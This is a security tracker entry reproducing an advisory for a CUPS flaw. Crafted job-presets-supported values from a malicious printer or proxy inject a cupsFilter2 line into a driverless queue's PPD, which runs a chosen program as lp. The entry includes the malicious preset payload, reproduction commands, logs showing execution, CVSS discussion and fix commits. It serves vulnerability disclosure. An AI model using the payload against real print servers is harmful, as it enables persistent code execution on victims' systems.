Skip to content

GHSA-fw7q-ww8w-phx8 on Cyberus Linux 26.05

Aliases: GHSA-fw7q-ww8w-phx8

Packages: cups

Status: Plausible

Advisory Information

Summary

An attacker who controls, once, the Get-Printer-Attributes response that cupsd receives while a driverless queue is created can cause cupsd to write an attacker-chosen *cupsFilter2 line into the queue's PPD, and to execute an attacker-chosen program as the CUPS filter account (lp) on every subsequent print job. No printer needs to be compromised — a network intermediary or a malicious printer is enough.

The root cause is that job-presets-supported collection member values are echoed into the PPD unsanitized. This is a residual gap in the CVE-2024-47175 hardening (the "incomplete fix" class already used for CVE-2026-34980 in this repository).

Details

1. The vulnerable write. cups/ppd-cache.c, in _ppdCreateFromIPP2(), opens a PPD quote block and echoes each preset member name and value into it with no validation. In v2.4.19 this is line 5158-5165 (the branch is a bare else):

cupsFilePrintf(fp, "*APPrinterPreset %s: \"\n", ppdname);          /* opens a quote block */
for (member = ippFirstAttribute(preset); member; member = ippNextAttribute(preset))
{
  ...
  ippAttributeString(member, member_value, sizeof(member_value));  /* escapes \\ " [ only */
  cupsFilePrintf(fp, "*%s %s\n", member_name, member_value);      /* no CR/LF handling */
}
cupsFilePuts(fp, "\"\n*End\n");                                    /* closes the block */

2. Why the escaping does not help. ippAttributeString() prefixes a backslash before \\, " and [, and does not encode CR or LF at all. Verified against the shipped libcups 2.4.18:

member value in memory output of ippAttributeString()
x" x\\"
x" + LF + *cupsFilter2 ... + LF identical — LF passed through

ppd_read() in cups/ppd.c has no backslash handling whatsoever (a backslash is an ordinary character), so the escaped " still closes the quote block. The attacker supplies no backslashes; libcups adds them and the parser ignores them.

3. Resulting PPD. Compiled from the real v2.4.19 tag source and fed a real captured printer response, the generated PPD (2209 bytes) contains:

57: *APPrinterPreset H3F0: "           <- quote block opened
58: *H3BREAK x\"                        <- member value's " closes it
59: *cupsFilter2 x: application/vnd.cups-raw application/octet-stream -1 /usr/local/bin/h3x
                                        <- attacker-controlled TOP-LEVEL attribute
60: *H3CLOSE y: \"                      <- re-opens a block
61: "
62: *End

Line 59 is a sibling of the legitimate seed *cupsFilter2: "application/vnd.cups-pdf application/pdf 10 -". ppdOpenFile() accepts the file and cupstestppd -v reports no parse error, so cupsd loads and uses it.

4. From the PPD line to execution. cups/ppd-cache.c appends every cupsFilter2 value to pc->filters; scheduler/printers.c passes them to add_printer_filter(), which accepts the 6-field src/type dst/type cost program form with an absolute path. scheduler/filter.c:91 only replaces an existing entry when the new cost is strictly lower, and the always-present seed filter has cost 0, so -1 wins.

5. Trigger and authorization (checked in v2.4.19). _ppdCreateFromIPP() has exactly one call site — scheduler/ipp.c:5471 inside create_local_bg_thread() — reached only from the new-queue branch of CUPS-Add-Modify-Printer (ipp.c:2697). The temporary-queue path (IPP_OP_CUPS_CREATE_LOCAL_PRINTER, ipp.c:605) does not generate a PPD and is therefore not affected. Queue creation requires membership in SystemGroup (default root lpadmin, requiring only lpadmin group). device-uri is restricted to dnssd:// ipp:// ipps:// ippusb://. Note the asymmetry: cupsd's outbound request to the printer carries no CUPS authentication, so the attacker's endpoint needs no credentials.

6. Affected versions. The vulnerable echo was introduced by cfa8aa69 (2017-12-11, "Add support for IPP presets"). It carries no guard in any 2.4.x release examined: 2.4.0, 2.4.1, 2.4.2, 2.4.5, 2.4.7, 2.4.11, 2.4.14, 2.4.16 and the current release 2.4.19.

7. The guard on master is not a fix. Commit c869107 (2026-04-22) replaced the bare else with:

else if (ippValidateAttribute(attr) && (ippGetValueTag(attr) == IPP_TAG_BOOLEAN ||
                                        ippGetValueTag(attr) == IPP_TAG_INTEGER ||
                                        ippGetValueTag(attr) == IPP_TAG_KEYWORD))

attr here is the job-presets-supported collection attribute itself, not the loop's member. Its value tag is always 0x34 (IPP_TAG_BEGIN_COLLECTION, measured with the shipped libcups), so the condition is never true and the echo branch is dead code by accident. The commit also had an operator typo (!= where == was meant), corrected only in 5a2d2d4 (2026-08-01). Both commits exist only on mastergit tag --contains is empty and git branch -r --contains returns only origin/master — so no release contains them. A value-type whitelist is also not a correct fix in principle, because ippAttributeString() does not encode CR/LF for any value type.

Suggested fix. Escape or PPD-ize each member value before emitting it, as upstream already does for localized strings with <%02X> encoding in 8361420c (2024-09-23); reject or encode CR/LF and ".

Suggested CVSS (per OpenPrinting's documented default-configuration rule).

CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L   ->  6.7 (Moderate)

AV:A because the default listener is loopback/domain-socket only, so adjacency or a locally placed queue is required. AC:H because a driverless queue must be created against the attacker-influenced endpoint. PR:L because queue creation needs lpadmin group, not root. C/I:H for arbitrary execution as the filter account; A:L because that account is unprivileged. If you judge "someone must add this printer" to be user interaction, use UI:R (6.4). For a network-facing deployment the same code path reaches AV:N (7.1). Your assessment governs; I flag the AV ambiguity rather than assert the higher score.

PoC

PoC note. The reproduction below was run on CUPS 2.4.18, but every file in the chain is byte-identical between the v2.4.18 and v2.4.19 tags (cups/ppd-cache.c, cups/ppd.c, cups/ipp-support.c, scheduler/ipp.c, scheduler/filter.c, scheduler/printers.c, scheduler/job.cgit diff --numstat v2.4.18 v2.4.19 reports no changes). The only file that differs anywhere in scheduler/ is scheduler/auth.c, which is unrelated to queue creation and is the sole content of the 2.4.19 release note. The results therefore apply to 2.4.19 directly.

Environment: container from debian:sid with apt-get install cups cups-client cups-daemon cups-filters (CUPS 2.4.18-1); the packaged cups/ppd-cache.c is byte-identical to the v2.4.18 tag source (SHA-256 dab16aad7dec092dd587f1dd697c2eecb745c6f4149e0c4aa269e06fcbbfbcd4).

A. Malicious printer. Serve IPP Everywhere where the job-presets-supported collection contains one preset with these members (values as they appear on the wire, value tag name):

preset-name  = "H3F0"
H3BREAK      = x"
cupsFilter2  = x: application/vnd.cups-raw application/octet-stream -1 /usr/local/bin/h3x
H3CLOSE      = y: "

The response must otherwise be valid (it must pass ippValidateAttributes()): include e.g. printer-make-and-model, printer-uri-supported, document-format-supported, printer-state, printer-state-reasons.

B. Create the queue driverless.

lpadmin -p h3A -E -v ipp://127.0.0.1:8631/ipp/print -m everywhere
grep -n cupsFilter2 /etc/cups/ppd/h3A.ppd
# 19:*cupsFilter2: "application/vnd.cups-pdf application/pdf 10 -"      <- legitimate seed
# 59:*cupsFilter2 x: application/vnd.cups-raw application/octet-stream -1 /usr/local/bin/h3x

C. Print and observe execution. With /usr/local/bin/h3x a root-owned 0755 script that appends id to /tmp/h3x_marker.txt:

printf '%%PDF-1.4\n1 0 obj<</Type/Catalog>>endobj\ntrailer<</Root 1 0 R>>\n%%%%EOF\n' > /tmp/t.pdf
lp -d h3A -o document-format=application/vnd.cups-raw /tmp/t.pdf

/var/log/cups/error_log and the marker:

[Job 9] 2 filters for job:
  /usr/local/bin/h3x (application/vnd.cups-raw to printer/h3A/application/octet-stream, cost -1)
I [Job 9] Started filter /usr/local/bin/h3x (PID 5405)

/tmp/h3x_marker.txt:
  H3X-EXEC-YES
  uid=7(lp) gid=7(lp) groups=7(lp)
  argv0=/usr/local/bin/h3x
  pwd=/work

D. Controls. The same preset with cost 0 still appears in the PPD but the chain keeps the seed filter and nothing executes (the cost comparison is the gate). A preset with no " in any member value injects nothing at all.

E. No printer required — intermediary variant. Three roles: a clean printer in its own container whose response contains no injection (H3BREAK=False cupsFilter2=False), a victim cupsd, and a transparent proxy that rewrites only the Get-Printer-Attributes response (+93 bytes).

# Configuration cupsFilter2 in the victim's PPD Execution
A via intermediary, cost -1 ... -1 /usr/local/bin/h3x Started filter ... (PID 5405), marker uid=7(lp)
B via intermediary, cost 0 ... 0 /usr/local/bin/h3x none
C direct to the printer, no intermediary only the legitimate seed line none

Row C attributes the injection entirely to the intermediary. Its log:

REQ  POST /ipp/print HTTP/1.1  body=172
     Get-Printer-Attributes -> rewrite response
      upstream status 100 (0 body) -> interim, keep reading
      upstream status 200 (1006 body)
   replaced existing job-presets-supported (span=907..1005)
RESP upstream 1006 bytes -> delivering 1099 bytes to cupsd (rewritten=yes)

Preconditions. The injected entry must be the 6-field form src/type dst/type cost program (the 4-field form makes ppd_update_filters() fail and the whole PPD is rejected); the program path must satisfy _cupsFileCheck() (root-owned, not group/world-writable, no setuid); the job's document-format must match the injected source type; and the whole PPD must still load or the queue is rejected.

A complete reproduction package (the minimal IPP printer, cupsd debug2 logs, generated PPDs, control runs) is available on request, as is a patch if useful.

Impact

An attacker who can influence, once, the Get-Printer-Attributes response that cupsd receives while a driverless queue is created obtains persistent code execution as the CUPS filter account (lp on Linux; on the test platform uid=7(lp)). The injected line is written to /etc/cups/ppd/<queue>.ppd, so it survives restarts and stays in effect until the queue is recreated, and the program runs on every job printed to that queue.

Ways to satisfy the precondition, in rough order of practicality: (a) the queue is added against an attacker-supplied address; (b) a network intermediary rewrites that one response — the traffic is plain IPP-over-HTTP in the tested configuration, and the request to the printer carries no CUPS authentication; (c) the queue uses a hostname the attacker can answer via DNS/mDNS; (d) the printer itself is malicious or compromised. Only (d) requires touching a printer. Cases (a) and (b) are reproduced above; (c) is not verified.

Not claimed: this is not root privilege escalation — only the ability to execute as the unprivileged printing service account, which may still reach spooled job data, printer configuration, and network resources useful for further movement. It is also not "any CUPS host is remotely exploitable over the internet": the default cupsd listener is loopback/domain-socket only, so adjacency or a locally placed queue is required. I have not verified automatic queue creation via cups-browsed or wide-area DNS-SD and am not claiming that path; it would broaden the affected population if it applies.

Relationship to existing advisories. Not covered by any current OpenPrinting/cups/security/advisories entry. Closest: CVE-2024-47175 (GHSA-7xfx-47qg-grp6, in the libppd repository) is the PPD-injection fix this report shows to be incomplete; CVE-2026-55453 also reaches execution as lp via a modified queue PPD but through the ipp backend's stderr status lines and foomatic-rip; CVE-2026-34980 / CVE-2026-55467 inject via the cupsdCreateJob option string. Different channels from this one.

CVSS score remediation Rescored: requires user interaction (to create the queue), there is no confidentiality concern here, A:L and I:L since you can "break" a print queue (but it wouldn't be functional anyways). You cannot execute arbitrary commands, and any side-loading effect (say with an old foomatic filter) are issues in that project, not CUPS.

Fix [master ad06fdb7b8cae9d5752634ae3516b483ffe2b5f0] Validate the member attribute in the preset, not the preset attribute.

[2.4.x 28834c719ae76e97b75f8190ee5e941daedb3da8] Validate the member attribute in the preset, not the preset attribute.

Updates

2026-09-21 21:25 CEST

Metadata changes:

  • Status for package cups: “Plausible

2026-09-21 21:18 CEST

Metadata changes:

  • Status for package cups: “New